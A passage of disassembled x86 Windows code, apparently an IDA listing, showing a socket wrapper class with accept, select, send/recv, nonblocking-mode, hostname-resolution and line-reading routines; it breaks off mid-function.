loc_41A805: ; CODE XREF: sub_41A7D0+26j
mov al, [esi+80Ch]
test al, al
jnz short loc_41A881
call sub_40196A
test al, al
jz short loc_41A874
mov edi, dword_511C94
loc_41A81E: ; CODE XREF: sub_41A7D0+A2j
mov eax, [esi+806h]
lea ecx, [esp+128h+var_11C]
push ecx
mov [esp+12Ch+var_100], eax
push 0
lea edx, [esp+130h+var_104]
push 0
inc eax
push edx
push eax
mov [esp+13Ch+var_104], 1
mov [esp+13Ch+var_11C], 0
mov [esp+13Ch+var_118], 64h
call edi ; select
test eax, eax
jz short loc_41A86B
mov ecx, [esi+806h]
lea eax, [esp+128h+var_104]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41A881
loc_41A86B: ; CODE XREF: sub_41A7D0+84j
call sub_40196A
test al, al
jnz short loc_41A81E
loc_41A874: ; CODE XREF: sub_41A7D0+46j
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A881: ; CODE XREF: sub_41A7D0+3Dj
; sub_41A7D0+99j
mov eax, [esp+128h+arg_4]
mov [esp+128h+var_120], 0FFFFFFFFh
test eax, eax
jz short loc_41A8A4
lea edx, [esp+128h+var_11C]
mov [esp+128h+var_11C], 10h
push edx
push eax
jmp short loc_41A8B6
; ---------------------------------------------------------------------------
loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j
lea ecx, [esp+128h+var_11C]
lea edx, [esp+128h+var_114]
push ecx
mov [esp+12Ch+var_11C], 10h
push edx
loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j
mov eax, [esi+806h]
push eax
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+128h+var_120], eax
jnz short loc_41A8D9
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj
mov esi, [esp+128h+arg_0]
lea ecx, [esp+128h+var_120]
push ecx
mov ecx, esi
call sub_402108
mov dl, [esp+128h+arg_8]
pop edi
mov [esi+80Dh], dl
mov al, 1
pop esi
add esp, 120h
retn 0Ch
sub_41A7D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A960 proc near ; CODE XREF: sub_402108j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax]
mov [ecx+806h], edx
mov edx, [eax]
cmp edx, 0FFFFFFFFh
setnz al
mov [ecx+80Bh], al
retn 4
sub_41A960 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A990 proc near ; CODE XREF: sub_40196Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 0
push edx
push eax
call sub_401B4F
retn 0Ch
sub_41A990 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A9C0 proc near ; CODE XREF: sub_401B4Fj
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword ptr [esi+806h], 0FFFFFFFFh
jz loc_41AB24
mov al, [esi+80Bh]
test al, al
jz loc_41AB24
mov edi, dword_5118AC
call edi
mov ebp, eax
mov al, [esi+80Dh]
test al, al
jnz loc_41AABC
mov ebx, [esp+220h+arg_8]
test ebx, ebx
jz loc_41AABC
call sub_40196A
test al, al
jz loc_41AABC
loc_41AA1B: ; CODE XREF: sub_41A9C0+F6j
mov eax, [esi+806h]
mov ecx, 1
mov [esp+220h+var_100], eax
mov [esp+220h+var_104], ecx
mov [esp+220h+var_204], eax
mov [esp+220h+var_208], ecx
mov [esp+220h+var_210], 0
mov [esp+220h+var_20C], 64h
call edi
sub eax, ebp
cmp eax, ebx
ja loc_41AB24
lea eax, [esp+220h+var_210]
lea ecx, [esp+220h+var_208]
push eax
mov eax, [esi+806h]
push ecx
lea edx, [esp+228h+var_104]
push 0
inc eax
push edx
push eax
call near ptr 71AB2DC0h
nop
test eax, eax
jz short loc_41AAAF
mov edx, [esi+806h]
lea ecx, [esp+220h+var_208]
push ecx
push edx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz loc_41AB24
mov ecx, [esi+806h]
lea eax, [esp+220h+var_104]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41AABC
loc_41AAAF: ; CODE XREF: sub_41A9C0+BCj
call sub_40196A
test al, al
jnz loc_41AA1B
loc_41AABC: ; CODE XREF: sub_41A9C0+39j
; sub_41A9C0+48j ...
call sub_40196A
test al, al
jz short loc_41AB24
mov edx, [esp+220h+arg_4]
mov eax, [esp+220h+arg_0]
mov ecx, [esi+806h]
push 0
push edx
push eax
push ecx
nop
call near ptr 71AB615Ah
mov ecx, [esp+220h+arg_C]
test ecx, ecx
jz short loc_41AAF1
mov [ecx], eax
loc_41AAF1: ; CODE XREF: sub_41A9C0+12Dj
cmp eax, 0FFFFFFFFh
jz short loc_41AB09
test eax, eax
jz short loc_41AB09
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AB09: ; CODE XREF: sub_41A9C0+134j
; sub_41A9C0+138j
nop
call near ptr 71AB94DCh
pop edi
cmp eax, 2733h
pop esi
pop ebp
setz al
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AB24: ; CODE XREF: sub_41A9C0+13j
; sub_41A9C0+21j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 210h
retn 10h
sub_41A9C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ABA0: ; CODE XREF: ___:00401622j
mov eax, [ecx+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41ABF1
mov dl, [ecx+80Bh]
test dl, dl
jz short loc_41ABF1
mov ecx, [esp+8]
mov edx, [esp+4]
push 0
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0Ch]
test ecx, ecx
jz short loc_41ABD2
mov [ecx], eax
loc_41ABD2: ; CODE XREF: ___:0041ABCEj
cmp eax, 0FFFFFFFFh
jz short loc_41ABE0
test eax, eax
jz short loc_41ABE0
mov al, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_41ABE0: ; CODE XREF: ___:0041ABD5j
; ___:0041ABD9j
nop
call near ptr 71AB94DCh
cmp eax, 2733h
setz al
retn 0Ch
; ---------------------------------------------------------------------------
loc_41ABF1: ; CODE XREF: ___:0041ABA9j
; ___:0041ABB3j
xor al, al
retn 0Ch
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AC20: ; CODE XREF: ___:004019BFj
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40196A
test al, al
jnz short loc_41AC3C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC3C: ; CODE XREF: ___:0041AC32j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AC52
loc_41AC48: ; CODE XREF: ___:0041AC8Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC52: ; CODE XREF: ___:0041AC46j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41ACB6
mov edi, ebp
loc_41AC6B: ; CODE XREF: ___:0041ACB4j
cmp edi, ebx
jz short loc_41ACB6
cmp [esp+18h], bl
jz short loc_41ACB6
call sub_40196A
test al, al
jz short loc_41ACB6
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_40196F
test al, al
jz short loc_41AC48
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41ACA1
cmp al, 0Dh
jz short loc_41ACA1
cmp al, bl
jnz short loc_41ACA9
loc_41ACA1: ; CODE XREF: ___:0041AC97j
; ___:0041AC9Bj
mov [esi+ebp-1], bl
mov [esp+18h], bl
loc_41ACA9: ; CODE XREF: ___:0041AC9Fj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AC6B
loc_41ACB6: ; CODE XREF: ___:0041AC67j
; ___:0041AC6Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AD00: ; CODE XREF: ___:004021A3j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40196A
test al, al
jnz short loc_41AD1C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AD1C: ; CODE XREF: ___:0041AD12j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AD32
loc_41AD28: ; CODE XREF: ___:0041AD6Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: ___:0041AD26j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41AD9D
mov edi, ebp
loc_41AD4B: ; CODE XREF: ___:0041AD9Bj
cmp edi, ebx
jz short loc_41AD9D
cmp [esp+18h], bl
jz short loc_41AD9D
call sub_40196A
test al, al
jz short loc_41AD9D
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_40196F
test al, al
jz short loc_41AD28
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41AD7D
cmp al, bl
jnz short loc_41AD90
loc_41AD7D: ; CODE XREF: ___:0041AD77j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41AD8A
mov [esi+ebp-1], bl
jmp short loc_41AD8C
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: ___:0041AD82j
mov [edi], bl
loc_41AD8C: ; CODE XREF: ___:0041AD88j
mov [esp+18h], bl
loc_41AD90: ; CODE XREF: ___:0041AD7Bj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AD4B
loc_41AD9D: ; CODE XREF: ___:0041AD47j
; ___:0041AD4Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ADE0: ; CODE XREF: ___:00401082j
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41ADF2
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41ADF2: ; CODE XREF: ___:0041ADEAj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AE03
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE03: ; CODE XREF: ___:0041ADFBj
mov ecx, [esp+0Ch]
mov edx, [esp+8]
push ecx
push edx
push eax
call near ptr 71AB951Eh
nop
pop esi
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AE30 proc near ; CODE XREF: sub_4018A2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41AE42
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE42: ; CODE XREF: sub_41AE30+Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AE53
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE53: ; CODE XREF: sub_41AE30+1Bj
mov ecx, [esp+4+arg_4]
mov edx, [esp+4+arg_0]
push ecx
push edx
push eax
nop
call near ptr 71AC0B50h
pop esi
retn 8
sub_41AE30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AE80: ; CODE XREF: ___:00401C53j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
mov al, [esi+80Ch]
cmp al, cl
mov eax, [esi+806h]
jnz short loc_41AEBF
cmp eax, 0FFFFFFFFh
jz short loc_41AEB5
cmp [esi+80Bh], cl
jz short loc_41AEB5
mov eax, 1
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEB5: ; CODE XREF: ___:0041AE9Ej
; ___:0041AEA6j
xor eax, eax
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEBF: ; CODE XREF: ___:0041AE99j
lea edx, [esp+4]
mov [esp+10h], eax
push edx
lea edx, [esp+10h]
push ecx
push edx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2DC0h
nop
test eax, eax
jnz short loc_41AEF5
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEF5: ; CODE XREF: ___:0041AEE9j
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AF50: ; CODE XREF: ___:004016EFj
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+80Ch], cl
jnz short loc_41AF6D
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AF6D: ; CODE XREF: ___:0041AF61j
mov eax, [esi+806h]
lea edx, [esp+4]
push edx
lea edx, [esp+10h]
mov [esp+14h], eax
push edx
push ecx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2DC0h
test eax, eax
jnz short loc_41AFA9
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AFA9: ; CODE XREF: ___:0041AF9Dj
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AFF0: ; CODE XREF: ___:00401744j
push esi
mov esi, [esp+8]
push edi
mov edi, ecx
push 800h
lea edx, [esi+6]
mov ax, [edi+4]
lea ecx, [edi+6]
push ecx
push edx
mov [esi+4], ax
call near ptr 77C47A90h
nop
xor al, al
add esp, 0Ch
mov dword ptr [esi+806h], 0FFFFFFFFh
mov [esi+80Ch], al
mov [esi+80Bh], al
mov al, [edi+80Dh]
mov [esi+80Dh], al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B060 proc near ; CODE XREF: sub_4018CAj
arg_0 = dword ptr 4
mov al, byte ptr [esp+arg_0]
test al, al
mov [ecx+80Ch], al
jz short loc_41B090
mov ecx, [ecx+806h]
lea eax, [esp+arg_0]
push eax
push 8004667Eh
push ecx
mov [esp+0Ch+arg_0], 1
nop
call near ptr 71AB4519h
retn 4
; ---------------------------------------------------------------------------
loc_41B090: ; CODE XREF: sub_41B060+Cj
mov eax, [ecx+806h]
lea edx, [esp+arg_0]
push edx
push 8004667Eh
push eax
mov [esp+0Ch+arg_0], 0
nop
call near ptr 71AB4519h
retn 4
sub_41B060 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B0E0 proc near ; CODE XREF: sub_401186j
push esi
mov esi, ecx
push 0
lea ecx, [esi+4]
call sub_401C49
mov dword ptr [esi], offset off_43F0C0
mov eax, esi
pop esi
retn
sub_41B0E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B110 proc near ; CODE XREF: ___:00401924j sub_401E92j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40187A
test [esp+4+arg_0], 1
jz short loc_41B128
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B128: ; CODE XREF: sub_41B110+Dj
mov eax, esi
pop esi
retn 4
sub_41B110 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B140 proc near ; CODE XREF: sub_40187Aj
mov dword ptr [ecx], offset off_43F0C0
add ecx, 4
jmp sub_401FE6
sub_41B140 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B160 proc near ; CODE XREF: sub_401640j
arg_0 = dword ptr 4
push esi
push edi
call sub_40196A
test al, al
jnz short loc_41B172
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B172: ; CODE XREF: sub_41B160+9j
mov esi, [esp+8+arg_0]
push esi
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41B1C5
push esi
call near ptr 71AB4FD4h
nop
mov edi, eax
test edi, edi
jnz short loc_41B197
pop edi
or eax, 0FFFFFFFFh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B197: ; CODE XREF: sub_41B160+2Dj
mov eax, [edi+0Ch]
xor esi, esi
cmp dword ptr [eax], 0
jz short loc_41B1AC
loc_41B1A1: ; CODE XREF: sub_41B160+4Aj
mov ecx, [eax+4]
add eax, 4
inc esi
test ecx, ecx
jnz short loc_41B1A1
loc_41B1AC: ; CODE XREF: sub_41B160+3Fj
call sub_401F0A
dec esi
push esi
push 0
call sub_4021C6
; ---------------------------------------------------------------------------
mov ecx, [edi+0Ch]
add esp, 8
mov edx, [ecx+eax*4]
mov eax, [edx]
loc_41B1C5: ; CODE XREF: sub_41B160+20j
pop edi
pop esi
retn 4
sub_41B160 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B1F0: ; CODE XREF: ___:004020B3j
push 0FFFFFFFFh
push offset loc_43C007
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push esi
xor ebx, ebx
push edi
mov [esp+0Ch], ebx
call sub_40196A
test al, al
jnz short loc_41B22F
mov eax, [esp+58h]
mov esi, [esp+54h]
push eax
mov ecx, esi
call sub_401870
jmp loc_41B3DB
; ---------------------------------------------------------------------------
loc_41B22F: ; CODE XREF: ___:0041B218j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+30h]
call sub_401870
mov edi, 1
lea ecx, [esp+2Ch]
mov [esp+4Ch], edi
call sub_4017EE
test eax, eax
push offset byte_448F40
jnz short loc_41B26C
mov esi, [esp+58h]
mov ecx, esi
call sub_401870
mov [esp+0Ch], edi
jmp loc_41B3CE
; ---------------------------------------------------------------------------
loc_41B26C: ; CODE XREF: ___:0041B256j
lea ecx, [esp+30h]
call sub_4012EE
test eax, eax
push offset byte_448F40
jnz short loc_41B292
mov esi, [esp+58h]
mov ecx, esi
call sub_401870
mov [esp+0Ch], edi
jmp loc_41B3CE
; ---------------------------------------------------------------------------
loc_41B292: ; CODE XREF: ___:0041B27Cj
lea ecx, [esp+18h]
call sub_401870
lea edx, [esp+10h]
push ebx
push edx
push ebx
push ebx
push 0Fh
lea ecx, [esp+40h]
mov byte ptr [esp+60h], 2
call sub_4017EE
push eax
call sub_4382C2
; ---------------------------------------------------------------------------
cmp eax, ebx
jz short loc_41B2D6
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014D3
mov [esp+0Ch], edi
jmp loc_41B3C0
; ---------------------------------------------------------------------------
loc_41B2D6: ; CODE XREF: ___:0041B2BBj
mov edi, [esp+10h]
mov esi, offset dword_4447F8
mov ecx, [edi]
mov eax, [ecx+4]
loc_41B2E4: ; CODE XREF: ___:0041B302j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B308
cmp cl, bl
jz short loc_41B304
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B308
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B2E4
loc_41B304: ; CODE XREF: ___:0041B2EEj
xor eax, eax
jmp short loc_41B30D
; ---------------------------------------------------------------------------
loc_41B308: ; CODE XREF: ___:0041B2EAj
; ___:0041B2F8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B30D: ; CODE XREF: ___:0041B306j
cmp eax, ebx
jz short loc_41B37B
push ebp
loc_41B312: ; CODE XREF: ___:0041B365j
; ___:0041B369j
call near ptr 27E0C08h
nop
and eax, 0Fh
cmp al, 8
jnz short loc_41B326
cmp word ptr [edi+8], 0Fh
jz short loc_41B36B
loc_41B326: ; CODE XREF: ___:0041B31Dj
mov edi, [edi]
mov ebp, [esp+14h]
cmp edi, ebx
jnz short loc_41B332
mov edi, ebp
loc_41B332: ; CODE XREF: ___:0041B32Ej
mov eax, [edi+4]
mov esi, offset dword_4447F8
loc_41B33A: ; CODE XREF: ___:0041B358j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B35E
cmp cl, bl
jz short loc_41B35A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B35E
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B33A
loc_41B35A: ; CODE XREF: ___:0041B344j
xor eax, eax
jmp short loc_41B363
; ---------------------------------------------------------------------------
loc_41B35E: ; CODE XREF: ___:0041B340j
; ___:0041B34Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B363: ; CODE XREF: ___:0041B35Cj
cmp eax, ebx
jnz short loc_41B312
mov edi, ebp
jmp short loc_41B312
; ---------------------------------------------------------------------------
loc_41B36B: ; CODE XREF: ___:0041B324j
mov eax, [edi+18h]
lea ecx, [esp+18h]
push eax
call sub_4015E1
pop ebp
jmp short loc_41B388
; ---------------------------------------------------------------------------
loc_41B37B: ; CODE XREF: ___:0041B30Fj
mov ecx, [edi+18h]
push ecx
lea ecx, [esp+18h]
call sub_4015E1
loc_41B388: ; CODE XREF: ___:0041B379j
push offset byte_448F40
lea ecx, [esp+18h]
call sub_4012EE
test eax, eax
jnz short loc_41B3A8
mov edx, [esp+58h]
lea ecx, [esp+14h]
push edx
call sub_4015E1
loc_41B3A8: ; CODE XREF: ___:0041B398j
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014D3
mov dword ptr [esp+0Ch], 1
loc_41B3C0: ; CODE XREF: ___:0041B2D1j
lea ecx, [esp+14h]
mov byte ptr [esp+4Ch], 1
call sub_401226
loc_41B3CE: ; CODE XREF: ___:0041B267j
; ___:0041B28Dj
lea ecx, [esp+2Ch]
mov [esp+4Ch], bl
call sub_401226
loc_41B3DB: ; CODE XREF: ___:0041B22Aj
mov ecx, [esp+44h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 8
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B490: ; CODE XREF: ___:00402153j
push esi
mov esi, ecx
call sub_401E88
push 0
lea ecx, [esi+15h]
call sub_401C49
mov dword ptr [esi], offset off_43F0C4
mov dword ptr [esi+11h], 0
mov dword ptr [esi+823h], 0
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B4D0 proc near ; CODE XREF: sub_401406j ___:00402036j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BE0
test [esp+4+arg_0], 1
jz short loc_41B4E8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B4E8: ; CODE XREF: sub_41B4D0+Dj
mov eax, esi
pop esi
retn 4
sub_41B4D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B500 proc near ; CODE XREF: sub_401BE0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41B500
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401FE6
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41B500 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B570: ; CODE XREF: ___:00401D52j
push esi
mov esi, ecx
call sub_401E88
push 0
lea ecx, [esi+15h]
call sub_401C49
mov eax, [esp+8]
mov ecx, [esp+0Ch]
mov [esi+11h], eax
mov dword ptr [esi], offset off_43F0C4
mov [esi+823h], ecx
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B5B0 proc near ; CODE XREF: sub_401686j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 14h
push edi
mov edi, ecx
mov eax, [edi+11h]
test eax, eax
jz loc_41B6C0
mov ecx, [edi+823h]
test ecx, ecx
jz loc_41B6C0
push ebx
push ebp
lea ebx, [edi+15h]
push esi
push eax
mov ecx, ebx
xor esi, esi
call sub_401492
mov ebp, dword_5118D8
test al, al
jnz short loc_41B613
loc_41B5E9: ; CODE XREF: sub_41B5B0+61j
mov al, [edi+10h]
test al, al
jz loc_41B6AF
mov al, byte_4E8E54
test al, al
jz short loc_41B613
push 7D0h
call ebp
mov eax, [edi+11h]
mov ecx, ebx
push eax
call sub_401492
test al, al
jz short loc_41B5E9
loc_41B613: ; CODE XREF: sub_41B5B0+37j
; sub_41B5B0+4Bj
mov al, [edi+10h]
test al, al
jz loc_41B6AF
loc_41B61E: ; CODE XREF: sub_41B5B0+F9j
mov al, byte_4E8E54
test al, al
jz loc_41B6AF
test esi, esi
jnz short loc_41B64E
push 80Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_41B64A
push esi
mov ecx, eax
call sub_401C49
jmp short loc_41B64C
; ---------------------------------------------------------------------------
loc_41B64A: ; CODE XREF: sub_41B5B0+8Ej
xor eax, eax
loc_41B64C: ; CODE XREF: sub_41B5B0+98j
mov esi, eax
loc_41B64E: ; CODE XREF: sub_41B5B0+7Dj
push 0
push 0
push esi
mov ecx, ebx
call sub_401B95
test al, al
jnz short loc_41B667
push 7D0h
call ebp
jmp short loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B667: ; CODE XREF: sub_41B5B0+ACj
xor ecx, ecx
lea edx, [esp+24h+var_14]
mov [esp+24h+var_10], ecx
lea eax, [esp+24h+var_10]
mov [esp+24h+var_C], ecx
push edx
mov [esp+28h+var_8], ecx
push eax
mov [esp+2Ch+var_4], ecx
mov ecx, esi
mov [esp+2Ch+var_14], 10h
call sub_4018A2
mov al, byte ptr [esp+24h+var_C]
test al, al
jz short loc_41B6A4
push esi
call dword ptr [edi+823h]
add esp, 4
loc_41B6A4: ; CODE XREF: sub_41B5B0+B5j
; sub_41B5B0+E8j
mov al, [edi+10h]
test al, al
jnz loc_41B61E
loc_41B6AF: ; CODE XREF: sub_41B5B0+3Ej
; sub_41B5B0+68j ...
mov ecx, ebx
call sub_4014E7
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41B6C0: ; CODE XREF: sub_41B5B0+Bj
; sub_41B5B0+19j
xor eax, eax
pop edi
add esp, 14h
retn
sub_41B5B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B720: ; CODE XREF: ___:00401C35j
mov eax, [esp+0Ch]
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
xor ebx, ebx
xor edi, edi
dec eax
mov [ebp+0], bl
cmp eax, ebx
mov byte ptr [esp+18h], 1
jle short loc_41B795
mov esi, ebp
loc_41B73F: ; CODE XREF: ___:0041B793j
cmp esi, ebx
jz short loc_41B795
cmp [esp+18h], bl
jz short loc_41B795
mov ecx, [esp+14h]
push ebx
push 1
push esi
push ecx
call near ptr 71AB615Ah
nop
cmp eax, ebx
